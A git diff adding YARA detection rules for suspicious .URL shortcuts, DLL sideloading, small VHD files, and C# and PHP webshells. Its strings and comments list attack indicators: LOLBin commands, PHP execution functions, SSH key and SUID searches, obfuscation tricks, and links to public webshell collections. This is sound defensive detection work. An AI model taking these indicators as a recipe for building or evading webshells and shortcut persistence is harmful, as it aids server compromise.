+    description = "Noisy rule for .URL shortcuts containing unique URI handlers"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 35
+    date = "27.09.2019"
+    id = "1c0750d2-2177-5e2c-908b-4226ae099981"
+  strings:
+    $file = "URL="
+    $filenegate = /[\x0a\x0d](Base|)URL\s*=\s*(https?|file):\/\// nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $file and any of ($url*) and not $filenegate
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+/*
+rule Methodology_Suspicious_Shortcut_IconShenanigans_dotDL
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    reference = "https://twitter.com/ItsReallyNick/status/1176229087196696577"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+  strings:
+    $icon = /[\x0a\x0d]IconFile=[^\x0d]*\.dl\x0d/ nocase ascii wide
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($url*) and $icon
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+*/
+
+rule Methodology_Suspicious_Shortcut_IconNotFromExeOrDLLOrICO
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    reference = "https://twitter.com/ItsReallyNick/status/1176229087196696577"
+    description = "Detects possible shortcut usage for .URL persistence"
+    score = 50
+    date = "27.09.2019"
+    id = "82d0483f-48ee-5d0c-ba7d-73d9e9455423"
+  strings:
+    $icon = "IconFile="
+    $icon_negate = /[\x0a\x0d]IconFile=[^\x0d]*\.(dll|exe|ico)\x0d/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($url*) and $icon and not $icon_negate
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_Evasion
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Non-standard .URLs and evasion"
+    reference = "https://twitter.com/DissectMalware/status/1176736510856634368"
+    score = 50
+    date = "27.09.2019"
+    id = "36df4252-2575-5efa-88ce-17e68a349306"
+  strings:
+    $URI = /[\x0a\x0d](IconFile|(Base|)URL)[^\x0d=]+/ nocase
+    $filetype_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $filetype_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($filetype*) and $URI //and $URInegate
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+// the below rule hasn't been seen, but I still want to explore whether this format can be abused to launch commands in unstructured .URL space
+rule Methodology_Suspicious_Shortcut_LOLcommand
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    reference = "https://twitter.com/ItsReallyNick/status/1176601500069576704"
+    description = "Detects possible shortcut usage for .URL persistence"
+    score = 50
+    date = "27.09.2019"
+    modified = "2021-02-14"
+    id = "061e7919-17f1-5774-ad7d-fc964dc9a947"
+  strings:
+    $file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*(powershell|cmd|certutil|mshta|wscript|cscript|rundll32|wmic|regsvr32|msbuild)(\.exe|)[^\x0d]{2,50}\x0d/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($url*) and any of ($file*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+// NONE of the following rules have been seen itw, but they are searching for unique (possible?) .URL syntax - leaving here for transparency
+rule Methodology_Suspicious_Shortcut_WebDAV
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    reference = "https://twitter.com/cglyer/status/1176243536754282497"
+    description = "Detects possible shortcut usage for .URL persistence"
+    score = 50
+    date = "27.09.2019"
+    id = "cd660b84-d7c6-52fc-9e1d-76450e5262b1"
+  strings:
+    $file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=\s*\/\/[A-Za-z0-9]/
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($url*) and any of ($file*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_ScriptURL
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "2f55f8a9-4e4b-5480-9042-da6bb66b2e06"
+  strings:
+    $file1 = /[\x0a\x0d](IconFile|(Base|)URL)\s*=[^\x0d]*script:/ nocase
+//    $file2 = /IconFile=script:/ nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    any of ($url*) and any of ($file*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_WorkingDirRemote_HTTP
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "68e54f8a-11e4-59e4-8498-59d88e70e438"
+  strings:
+    $icon = "WorkingDirectory=http" nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $icon and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
+
+rule Methodology_Suspicious_Shortcut_WorkingDirRemote_SMB
+{
+  meta:
+    author = "@itsreallynick (Nick Carr)"
+    description = "Detects possible shortcut usage for .URL persistence"
+    reference = "https://twitter.com/cglyer/status/1176184798248919044"
+    score = 50
+    date = "27.09.2019"
+    id = "26e19fe3-c25c-53b0-9b41-c04803134bc2"
+  strings:
+    $icon = "WorkingDirectory=file://" nocase
+    $url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+    $url_explicit = "[InternetShortcut]" nocase
+  condition:
+    $icon and any of ($url*)
+    and uint16(0) != 0x5A4D and uint32(0) != 0x464c457f and uint32(0) != 0xBEBAFECA and uint32(0) != 0xFEEDFACE and uint32(0) != 0xFEEDFACF and uint32(0) != 0xCEFAEDFE
+    and filesize < 30KB
+}
diff --git a/yara-Neo23x0/gen_url_to_local_exe.yar b/yara-Neo23x0/gen_url_to_local_exe.yar
new file mode 100644
index 0000000..0eafd88
--- /dev/null
+++ b/yara-Neo23x0/gen_url_to_local_exe.yar
@@ -0,0 +1,15 @@
+rule URL_File_Local_EXE {
+   meta:
+      description = "Detects an .url file that points to a local executable"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/malwareforme/status/915300883012870144"
+      date = "2017-10-04"
+      score = 60
+      id = "8b157e98-7b69-5649-b1d8-40bd6b685bf6"
+   strings:
+      $s1 = "[InternetShortcut]" ascii wide fullword
+      $s2 = /URL=file:\/\/\/C:\\[^\n]{1,50}\.exe/
+   condition:
+      filesize < 400 and all of them
+}
diff --git a/yara-Neo23x0/gen_vcruntime140_dll_sideloading.yar b/yara-Neo23x0/gen_vcruntime140_dll_sideloading.yar
new file mode 100644
index 0000000..2f28d6f
--- /dev/null
+++ b/yara-Neo23x0/gen_vcruntime140_dll_sideloading.yar
@@ -0,0 +1,30 @@
+import "pe" 
+
+rule SUSP_VCRuntime_Sideloading_Indicators_Aug23 {
+   meta:
+      description = "Detects indicators of .NET based malware sideloading as VCRUNTIME140 with .NET DLL imports"
+      author = "Jonathan Peters"
+      date = "2023-08-30"
+      hash = "b4bc73dfe9a781e2fee4978127cb9257bc2ffd67fc2df00375acf329d191ffd6"
+      score = 75
+      id = "00400122-1343-5051-af31-880a3ef1745d"
+   condition:
+      (filename == "VCRUNTIME140.dll" or filename == "vcruntime140.dll")
+      and pe.imports("mscoree.dll", "_CorDllMain")
+}
+
+// rule SUSP_VCRuntime_Sideloading_Indicators_1_Aug23 {
+//    meta:
+//       description = "Detects indicators of .NET based malware sideloading as an unsigned VCRUNTIME140"
+//       author = "Jonathan Peters"
+//       date = "2023-08-30"
+//       hash = "b4bc73dfe9a781e2fee4978127cb9257bc2ffd67fc2df00375acf329d191ffd6"
+//       score = 75
+//    strings:
+//       $fp1 = "Wine builtin DLL" ascii
+//    condition:
+//       (filename == "VCRUNTIME140.dll" or filename == "vcruntime140.dll")
+//       and not pe.number_of_signatures == 0
+//       and not pe.signatures[0].issuer contains "Microsoft Corporation"
+//       and not $fp1
+// }
diff --git a/yara-Neo23x0/gen_vhd_anomaly.yar b/yara-Neo23x0/gen_vhd_anomaly.yar
new file mode 100644
index 0000000..a0d1ebe
--- /dev/null
+++ b/yara-Neo23x0/gen_vhd_anomaly.yar
@@ -0,0 +1,28 @@
+
+rule SUSP_VHD_Suspicious_Small_Size {
+   meta:
+      description = "Detects suspicious VHD files"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/MeltX0R/status/1208095892877774850"
+      date = "2019-12-21"
+      modified = "2023-01-27"
+      score = 50
+      hash1 = "3382a75bd959d2194c4b1a8885df93e8770f4ebaeaff441a5180ceadf1656cd9"
+      id = "f4a72e7b-ddd3-5038-9440-1e81dc27755d"
+   strings:
+      /* VHD */
+      $hc1 = { 63 6F 6E 65 63 74 69 78 }
+      $hc2a = { 49 6E 76 61 6C 69 64 20 70 61 72 74 69 74 69 6F
+               6E 20 74 61 62 6C 65 00 45 72 72 6F 72 20 6C 6F
+               61 64 69 6E 67 20 6F 70 65 72 61 74 69 6E 67 20
+               73 79 73 74 65 6D 00 4D 69 73 73 69 6E 67 20 6F
+               70 65 72 61 74 69 6E 67 20 73 79 73 74 65 6D }
+      $hc2b = "connectix"
+   condition:
+      not uint16(0) == 0x5a4d
+      and filesize > 1KB and filesize <= 4000KB 
+      and (
+         $hc1 at 0 
+         or all of ($hc2*)
+      )
+}
diff --git a/yara-Neo23x0/gen_webshell_csharp.yar b/yara-Neo23x0/gen_webshell_csharp.yar
new file mode 100644
index 0000000..0ecd06c
--- /dev/null
+++ b/yara-Neo23x0/gen_webshell_csharp.yar
@@ -0,0 +1,25 @@
+
+rule WEBSHELL_Csharp_Hash_String_Oct22 {
+	meta:
+		description = "C# webshell using specific hash check for the password."
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Nils Kuhnert (modified by Florian Roth)"
+		hash = "29c187ad46d3059dc25d5f0958e0e8789fb2a51b9daaf90ea27f001b1a9a603c"
+		date = "2022-10-27"
+		score = 60
+		id = "c7d459be-5e61-57b7-b738-051c0cec62d2"
+	strings:
+		$gen1 = "void Page_Load" ascii
+		$gen2 = "FromBase64String" ascii
+		$gen3 = "CryptoServiceProvider" ascii
+		$gen4 = "ComputeHash" ascii
+
+		$hashing1 = "BitConverter.ToString(" ascii /* Webshell uses ToString from a string: BitConverter.ToString(ptqVQ) */
+		$hashing2 = ").Replace(\"-\", \"\") == \"" ascii
+
+      $filter1 = "BitConverter.ToString((" ascii /* Usually it's something like: return ((BitConverter.ToString((new SHA1CryptoServiceProvider() */
+	condition:
+		filesize < 10KB 
+		and all of ($gen*) and all of ($hashing*)
+		and not 1 of ($filter*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_webshells.yar b/yara-Neo23x0/gen_webshells.yar
new file mode 100644
index 0000000..3ef7da2
--- /dev/null
+++ b/yara-Neo23x0/gen_webshells.yar
@@ -0,0 +1,6887 @@
+import "math"
+// only needed for debugging of module math:
+//import "console"
+
+/*
+
+Webshell rules by Arnim Rupp (https://github.com/ruppde), Version 2
+
+Rationale behind the rules:
+1. a webshell must always execute some kind of payload (in $payload*). the payload is either:
+-- direct php function like exec, file write, sql, ...
+-- indirect via eval, self defined functions, callbacks, reflection, ...
+2. a webshell must always have some way to get the attackers input, e.g. for PHP in $_GET, php://input or $_SERVER (HTTP for headers).
+
+The input may be hidden in obfuscated code, so we look for either:
+a) payload + input
+b) eval-style-payloads + obfuscation
+c) includers (webshell is split in 2+ files)
+d) unique strings, if the coder doesn't even intend to hide
+
+Additional conditions will be added to reduce false positves. Check all findings for unintentional webshells aka vulnerabilities ;)
+
+The rules named "suspicious_" are commented by default. uncomment them to find more potentially malicious files at the price of more false positives. if that finds too many results to manually check, you can compare the hashes to virustotal with e.g. https://github.com/Neo23x0/munin
+
+Some samples in the collection were UTF-16 and at least PHP and Java support it, so I use "wide ascii" for all strings. The performance impact is 1%. See also https://thibaud-robin.fr/articles/bypass-filter-upload/
+
+Rules tested on the following webshell repos and collections:
+    https://github.com/sensepost/reGeorg
+    https://github.com/WhiteWinterWolf/wwwolf-php-webshell
+    https://github.com/k8gege/Ladon
+    https://github.com/x-o-r-r-o/PHP-Webshells-Collection
+    https://github.com/mIcHyAmRaNe/wso-webshell
+    https://github.com/LandGrey/webshell-detect-bypass
+    https://github.com/threedr3am/JSP-Webshells
+    https://github.com/02bx/webshell-venom
+    https://github.com/pureqh/webshell
+    https://github.com/secwiki/webshell-2
+    https://github.com/zhaojh329/rtty
+    https://github.com/modux/ShortShells
+    https://github.com/epinna/weevely3
+    https://github.com/chrisallenlane/novahot
+    https://github.com/malwares/WebShell
+    https://github.com/tanjiti/webshellSample
+    https://github.com/L-codes/Neo-reGeorg
+    https://github.com/bayufedra/Tiny-PHP-Webshell
+    https://github.com/b374k/b374k
+    https://github.com/wireghoul/htshells
+    https://github.com/securityriskadvisors/cmd.jsp
+    https://github.com/WangYihang/Webshell-Sniper
+    https://github.com/Macr0phag3/WebShells
+    https://github.com/s0md3v/nano
+    https://github.com/JohnTroony/php-webshells
+    https://github.com/linuxsec/indoxploit-shell
+    https://github.com/hayasec/reGeorg-Weblogic
+    https://github.com/nil0x42/phpsploit
+    https://github.com/mperlet/pomsky
+    https://github.com/FunnyWolf/pystinger
+    https://github.com/tanjiti/webshellsample
+    https://github.com/lcatro/php-webshell-bypass-waf
+    https://github.com/zhzyker/exphub
+    https://github.com/dotcppfile/daws
+    https://github.com/lcatro/PHP-WebShell-Bypass-WAF
+    https://github.com/ysrc/webshell-sample
+    https://github.com/JoyChou93/webshell
+    https://github.com/k4mpr3t/b4tm4n
+    https://github.com/mas1337/webshell
+    https://github.com/tengzhangchao/pycmd
+    https://github.com/bartblaze/PHP-backdoors
+    https://github.com/antonioCoco/SharPyShell
+    https://github.com/xl7dev/WebShell
+    https://github.com/BlackArch/webshells
+    https://github.com/sqlmapproject/sqlmap
+    https://github.com/Smaash/quasibot
+    https://github.com/tennc/webshell
+
+Webshells in these repos after fdupes run: 4722
+Old signature-base rules found: 1315
+This rules found: 3286
+False positives in 8gb of common webapps plus yara-ci: 2
+
+*/
+
+rule WEBSHELL_PHP_Generic
+{
+    meta:
+        description = "php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/14"
+        modified = "2023-09-18"
+        hash = "bee1b76b1455105d4bfe2f45191071cf05e83a309ae9defcf759248ca9bceddd"
+        hash = "6bf351900a408120bee3fc6ea39905c6a35fe6efcf35d0a783ee92062e63a854"
+        hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
+        hash = "00813155bf7f5eb441e1619616a5f6b21ae31afc99caa000c4aafd54b46c3597"
+        hash = "e31788042d9cdeffcb279533b5a7359b3beb1144f39bacdd3acdef6e9b4aff25"
+        hash = "36b91575a08cf40d4782e5aebcec2894144f1e236a102edda2416bc75cbac8dd"
+        hash = "a34154af7c0d7157285cfa498734cfb77662edadb1a10892eb7f7e2fb5e2486c"
+        hash = "791a882af2cea0aa8b8379791b401bebc235296858266ddb7f881c8923b7ea61"
+        hash = "9a8ab3c225076a26309230d7eac7681f85b271d2db22bf5a190adbf66faca2e6"
+        hash = "0d3ee83adc9ebf8fb1a8c449eed5547ee5e67e9a416cce25592e80963198ae23"
+        hash = "3d8708609562a27634df5094713154d8ca784dbe89738e63951e12184ff07ad6"
+        hash = "70d64d987f0d9ab46514abcc868505d95dbf458387f858b0d7580e4ee8573786"
+        hash = "259b3828694b4d256764d7d01b0f0f36ca0526d5ee75e134c6a754d2ab0d1caa"
+        hash = "04d139b48d59fa2ef24fb9347b74fa317cb05bd8b7389aeb0a4d458c49ea7540"
+        hash = "58d0e2ff61301fe0c176b51430850239d3278c7caf56310d202e0cdbdde9ac3f"
+        hash = "731f36a08b0e63c63b3a2a457667dfc34aa7ff3a2aee24e60a8d16b83ad44ce2"
+        hash = "e4ffd4ec67762fe00bb8bd9fbff78cffefdb96c16fe7551b5505d319a90fa18f"
+        hash = "fa00ee25bfb3908808a7c6e8b2423c681d7c52de2deb30cbaea2ee09a635b7d4"
+        hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
+        hash = "e9423ad8e51895db0e8422750c61ef4897b3be4292b36dba67d42de99e714bff"
+        hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+        hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
+        hash = "3de8c04bfdb24185a07f198464fcdd56bb643e1d08199a26acee51435ff0a99f"
+        hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
+        hash = "a09dcf52da767815f29f66cb7b03f3d8c102da5cf7b69567928961c389eac11f"
+        hash = "d9ae762b011216e520ebe4b7abcac615c61318a8195601526cfa11bbc719a8f1"
+        hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+
+        id = "294ce5d5-55b2-5c79-b0f8-b66f949efbb2"
+    strings:
+        $wfp_tiny1 = "escapeshellarg" fullword
+        $wfp_tiny2 = "addslashes" fullword
+
+        //strings from private rule php_false_positive_tiny
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        //$gfp_tiny1 = "addslashes" fullword
+        //$gfp_tiny2 = "escapeshellarg" fullword
+        $gfp_tiny3 = "include \"./common.php\";" // xcache
+        $gfp_tiny4 = "assert('FALSE');"
+        $gfp_tiny5 = "assert(false);"
+        $gfp_tiny6 = "assert(FALSE);"
+        $gfp_tiny7 = "assert('array_key_exists("
+        $gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
+        $gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
+        $gfp_tiny10= "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_php_input
+        $inp1 = "php://input" wide ascii
+        $inp2 = /_GET\s?\[/ wide ascii
+        // for passing $_GET to a function
+        $inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+        $inp4 = /_POST\s?\[/ wide ascii
+        $inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+        $inp6 = /_REQUEST\s?\[/ wide ascii
+        $inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+        $inp8 = /\(\s?\$_HEADERS\s?[\)\[]/ wide ascii
+        // PHP automatically adds all the request headers into the $_SERVER global array, prefixing each header name by the "HTTP_" string, so e.g. @eval($_SERVER['HTTP_CMD']) will run any code in the HTTP header CMD
+        $inp15 = "_SERVER['HTTP_" wide ascii
+        $inp16 = "_SERVER[\"HTTP_" wide ascii
+        $inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+        $inp18 = "array_values($_SERVER)" wide ascii
+        $inp19 = /file_get_contents\("https?:\/\// wide ascii
+        $inp20 = "TSOP_" wide ascii
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.{0,500}|e'" nocase wide ascii
+        // TODO backticks
+
+        //strings from private rule capa_gen_sus
+
+        // these strings are just a bit suspicious, so several of them are needed, depending on filesize
+        $gen_bit_sus1  = /:\s{0,20}eval}/ nocase wide ascii
+        $gen_bit_sus2  = /\.replace\(\/\w\/g/ nocase wide ascii
+        $gen_bit_sus6  = "self.delete"
+        $gen_bit_sus9  = "\"cmd /c" nocase
+        $gen_bit_sus10 = "\"cmd\"" nocase
+        $gen_bit_sus11 = "\"cmd.exe" nocase
+        $gen_bit_sus12 = "%comspec%" wide ascii
+        $gen_bit_sus13 = "%COMSPEC%" wide ascii
+        //TODO:$gen_bit_sus12 = ".UserName" nocase
+        $gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+        // bonus string for proxylogon exploiting webshells
+        $gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+        $gen_bit_sus21 = "\"upload\"" wide ascii
+        $gen_bit_sus22 = "\"Upload\"" wide ascii
+        $gen_bit_sus23 = "UPLOAD" fullword wide ascii
+        $gen_bit_sus24 = "fileupload" wide ascii
+        $gen_bit_sus25 = "file_upload" wide ascii
+        // own base64 or base32 func
+        $gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+        $gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+        $gen_bit_sus30 = "serv-u" wide ascii
+        $gen_bit_sus31 = "Serv-u" wide ascii
+        $gen_bit_sus32 = "Army" fullword wide ascii
+        // single letter paramweter
+        $gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+        $gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+        $gen_bit_sus35 = "crack" fullword wide ascii
+
+        $gen_bit_sus44 = "<pre>" wide ascii
+        $gen_bit_sus45 = "<PRE>" wide ascii
+        $gen_bit_sus46 = "shell_" wide ascii
+        //fp: $gen_bit_sus47 = "Shell" fullword wide ascii
+        $gen_bit_sus50 = "bypass" wide ascii
+        $gen_bit_sus52 = " ^ $" wide ascii
+        $gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+        $gen_bit_sus55 = /\w'\.'\w/ wide ascii
+        $gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+        $gen_bit_sus57 = "dumper" wide ascii
+        $gen_bit_sus59 = "'cmd'" wide ascii
+        $gen_bit_sus60 = "\"execute\"" wide ascii
+        $gen_bit_sus61 = "/bin/sh" wide ascii
+        $gen_bit_sus62 = "Cyber" wide ascii
+        $gen_bit_sus63 = "portscan" fullword wide ascii
+        //$gen_bit_sus64 = "\"command\"" fullword wide ascii
+        //$gen_bit_sus65 = "'command'" fullword wide ascii
+        $gen_bit_sus66 = "whoami" fullword wide ascii
+        $gen_bit_sus67 = "$password='" fullword wide ascii
+        $gen_bit_sus68 = "$password=\"" fullword wide ascii
+        $gen_bit_sus69 = "$cmd" fullword wide ascii
+        $gen_bit_sus70 = "\"?>\"." fullword wide ascii
+        $gen_bit_sus71 = "Hacking" fullword wide ascii
+        $gen_bit_sus72 = "hacking" fullword wide ascii
+        $gen_bit_sus73 = ".htpasswd" wide ascii
+        $gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+        $gen_bit_sus75 = "uploaded" fullword wide ascii
+
+        // very suspicious strings, one is enough
+        $gen_much_sus7  = "Web Shell" nocase
+        $gen_much_sus8  = "WebShell" nocase
+        $gen_much_sus3  = "hidded shell"
+        $gen_much_sus4  = "WScript.Shell.1" nocase
+        $gen_much_sus5  = "AspExec"
+        $gen_much_sus14 = "\\pcAnywhere\\" nocase
+        $gen_much_sus15 = "antivirus" nocase
+        $gen_much_sus16 = "McAfee" nocase
+        $gen_much_sus17 = "nishang"
+        $gen_much_sus18 = "\"unsafe" fullword wide ascii
+        $gen_much_sus19 = "'unsafe" fullword wide ascii
+        $gen_much_sus24 = "exploit" fullword wide ascii
+        $gen_much_sus25 = "Exploit" fullword wide ascii
+        $gen_much_sus26 = "TVqQAAMAAA" wide ascii
+        $gen_much_sus30 = "Hacker" wide ascii
+        $gen_much_sus31 = "HACKED" fullword wide ascii
+        $gen_much_sus32 = "hacked" fullword wide ascii
+        $gen_much_sus33 = "hacker" wide ascii
+        $gen_much_sus34 = "grayhat" nocase wide ascii
+        $gen_much_sus35 = "Microsoft FrontPage" wide ascii
+        $gen_much_sus36 = "Rootkit" wide ascii
+        $gen_much_sus37 = "rootkit" wide ascii
+        $gen_much_sus38 = "/*-/*-*/" wide ascii
+        $gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+        $gen_much_sus40 = "\"e\"+\"v" wide ascii
+        $gen_much_sus41 = "a\"+\"l\"" wide ascii
+        $gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+        $gen_much_sus43 = "q\"+\"u\"" wide ascii
+        $gen_much_sus44 = "\"u\"+\"e" wide ascii
+        $gen_much_sus45 = "/*//*/" wide ascii
+        $gen_much_sus46 = "(\"/*/\"" wide ascii
+        $gen_much_sus47 = "eval(eval(" wide ascii
+        // self remove
+        $gen_much_sus48 = "unlink(__FILE__)" wide ascii
+        $gen_much_sus49 = "Shell.Users" wide ascii
+        $gen_much_sus50 = "PasswordType=Regular" wide ascii
+        $gen_much_sus51 = "-Expire=0" wide ascii
+        $gen_much_sus60 = "_=$$_" wide ascii
+        $gen_much_sus61 = "_=$$_" wide ascii
+        $gen_much_sus62 = "++;$" wide ascii
+        $gen_much_sus63 = "++; $" wide ascii
+        $gen_much_sus64 = "_.=$_" wide ascii
+        $gen_much_sus70 = "-perm -04000" wide ascii
